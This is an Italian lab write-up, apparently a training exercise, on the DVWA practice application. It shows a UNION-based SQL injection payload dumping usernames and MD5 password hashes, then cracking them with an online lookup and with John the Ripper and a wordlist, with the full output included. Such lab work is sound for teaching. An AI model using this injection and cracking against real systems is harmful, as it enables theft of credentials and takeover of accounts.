

Dopo aver inserito il seguente script 1' UNION SELECT user, password FROM users# su DVWA, provare diversi tool per decifrare gli hash delle password.

## Vulnerability: SQL Injection (Blind)

User ID:

 

ID: 1' UNION SELECT user, password FROM users#  
First name: admin  
Surname: admin

ID: 1' UNION SELECT user, password FROM users#  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user, password FROM users#  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user, password FROM users#  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user, password FROM users#  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user, password FROM users#  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

## Password con MD5

L'MD5 è una funzione crittografica di hash. Questa funzione prende in input una stringa di lunghezza arbitraria e ne produce in output. È diffuso anche come supporto per l'autenticazione degli utenti, infatti durante la registrazione di un utente su un portale internet, la password scelta durante il processo verrà codificata tramite MD5 e la sua firma digitale verrà memorizzata nel database. Dopo, durante il login la password immessa dall'utente verrà confrontata con la copia in possesso del database.

**md5-decrypt("5f4dcc3b5aa765d61d8327deb882cf99")**

password

**md5-decrypt("e99a18c428cb38d5f260853678922e03")**

abc123

```
md5-decrypt("8d3533d75ae2c3966d7e0d4fcc69216b")
```

charley

---

```
md5-decrypt("0d107d09f5bbe40cade3de5c71e9e9b7")
```

letmein

---

```
md5-decrypt("5f4dcc3b5aa765d61d8327deb882cf99")
```

password

---

## Password con John the reaper

John the Ripper è un software libero per la decrittazione forzata delle password. Agisce combinando diverse modalità di crack delle password, autorilevamento di password in hash e inclusione di un cracker impostabile.

```
(kali@kali)-[~]
└─$ sudo john --format=raw-md5 --wordlist=/home/kali/Desktop/rockyou.txt /home/kali/Desktop/hash.txt ~
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
password      (?)
abc123        (?)
letmein       (?)
charley       (?)
4g 0:00:00:00 DONE (2024-03-12 14:53) 50.00g/s 36000p/s 36000c/s 48000C/s my3kids..soccer9
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```